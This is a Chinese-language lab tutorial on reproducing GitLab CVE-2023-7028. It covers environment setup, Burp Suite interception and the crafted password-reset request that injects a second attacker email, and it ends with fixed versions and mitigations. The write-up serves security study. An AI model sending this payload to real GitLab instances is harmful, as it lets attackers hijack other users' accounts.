手把手教你复现GitLab CVE-2023-7028漏洞（附Burp Suite抓包实战截图）

实战演练：GitLab CVE-2023-7028漏洞复现与Burp Suite抓包分析

最近GitLab爆出一个高危漏洞CVE-2023-7028，允许攻击者通过精心构造的请求绕过密码重置机制。作为一名长期关注Web安全的研究者，我决定在本地环境复现这个漏洞，并记录下详细的操作过程。本文将带你从零开始，一步步完成漏洞复现，特别适合想要提升实战能力的网络安全爱好者。

1. 环境准备与漏洞背景

在开始之前，我们需要搭建一个受影响的GitLab版本作为实验环境。根据官方公告，以下版本存在风险：

• GitLab CE/EE 16.1至16.1.5
• GitLab CE/EE 16.2至16.2.7
• GitLab CE/EE 16.3至16.3.5
• GitLab CE/EE 16.4至16.4.3
• GitLab CE/EE 16.5至16.5.5
• GitLab CE/EE 16.6至16.6.3
• GitLab CE/EE 16.7至16.7.1

漏洞原理：这个漏洞的核心在于GitLab的密码重置功能没有正确处理多个邮箱参数。正常情况下，系统应该只接受一个邮箱地址用于密码重置，但实际上攻击者可以注入额外的邮箱参数，导致重置链接被发送到攻击者控制的邮箱。

注意：本文所有操作均在授权的测试环境中进行，切勿在未授权的情况下对任何系统进行测试。

2. 搭建测试环境

为了复现漏洞，我们需要先搭建一个受影响的GitLab实例。以下是详细步骤：

1. 准备一台至少4GB内存的虚拟机（推荐Ubuntu 20.04 LTS）
2. 下载并安装受影响版本的GitLab CE：

# 以GitLab 16.5.0为例 wget https://packages.gitlab.com/gitlab/gitlab-ce/packages/ubuntu/focal/gitlab-ce_16.5.0-ce.0_amd64.deb/download.deb sudo dpkg -i download.deb sudo gitlab-ctl reconfigure

3. 安装完成后，访问http://localhost完成初始设置
4. 创建两个测试账户：
   • 受害者账户：victim@test.com
   • 攻击者账户：attacker@test.com

验证版本：访问/assets/webpack/manifest.json可以查看当前GitLab版本的确切信息。

3. Burp Suite配置与抓包

Burp Suite是我们这次复现的主要工具。以下是配置步骤：

1. 启动Burp Suite Community或Professional版
2. 配置浏览器代理为127.0.0.1:8080
3. 安装Burp的CA证书（首次使用时需要）
4. 在Proxy→Options中确保拦截请求功能已启用

关键配置：在Proxy→HTTP history中，我们可以查看所有经过Burp的HTTP请求，这对分析漏洞至关重要。

4. 漏洞复现详细步骤

现在进入最关键的漏洞复现环节。我们将模拟攻击者利用漏洞重置受害者密码的过程。

4.1 触发密码重置流程

1. 访问GitLab的密码重置页面：/users/password/new
2. 在邮箱字段输入受害者邮箱：victim@test.com
3. 点击"Reset password"按钮
4. 此时Burp Suite会拦截到POST请求

4.2 修改请求包

拦截到的原始请求可能如下：

POST /users/password HTTP/1.1 Host: localhost Content-Type: application/x-www-form-urlencoded ... user[email]=victim@test.com

我们需要修改这个请求，添加攻击者邮箱作为第二个参数。修改后的请求应该是：

user[email][]=victim@test.com&user[email][]=attacker@test.com

重要提示：在Burp Suite中修改时，需要确保特殊字符正确编码。例如，方括号[]应该被编码为%5B%5D。

4.3 发送修改后的请求

1. 在Burp Suite的拦截界面，修改请求体为上述格式
2. 点击"Forward"发送修改后的请求
3. 观察GitLab的响应，正常情况下应该返回200状态码

4.4 验证漏洞利用

成功的标志是：

• 受害者邮箱(victim@test.com)收到密码重置邮件
• 攻击者邮箱(attacker@test.com)也收到同样的密码重置邮件

如果两个邮箱都收到了重置链接，说明漏洞复现成功。攻击者可以通过自己邮箱中的链接重置受害者密码，从而完全控制该账户。

5. 技术细节与防御措施

这个漏洞的根源在于GitLab使用Ruby on Rails框架，而Rails的参数解析机制允许将同名参数处理为数组。GitLab的密码重置功能没有对邮箱参数进行严格的单一性校验，导致可以注入多个邮箱地址。

防御方案：

1. 立即升级到已修复的GitLab版本：

   • CE/EE 16.1.6+
   • CE/EE 16.2.8+
   • CE/EE 16.3.6+
   • CE/EE 16.4.4+
   • CE/EE 16.5.6+
   • CE/EE 16.6.4+
   • CE/EE 16.7.2+

2. 临时缓解措施：

   • 启用二次验证(2FA)
   • 限制GitLab实例的访问来源
   • 监控异常密码重置行为

6. 实战中的注意事项

在实际测试过程中，我发现几个容易出错的地方：

1. URL编码问题：在Burp Suite中直接修改请求时，方括号等特殊字符需要正确编码。我建议先在Decoder模块测试编码，再应用到拦截的请求中。

2. 邮箱验证：有些邮件服务可能会将GitLab的密码重置邮件标记为垃圾邮件，检查时不要遗漏垃圾邮件文件夹。

3. 版本确认：有时通过UI看到的版本号可能不够精确，最好通过/assets/webpack/manifest.json或API确认确切版本。

4. 测试环境影响：在虚拟机中测试时，确保网络配置正确，Burp Suite能够拦截到本地流量。我曾遇到过因为虚拟机网络模式设置不当导致抓包失败的情况。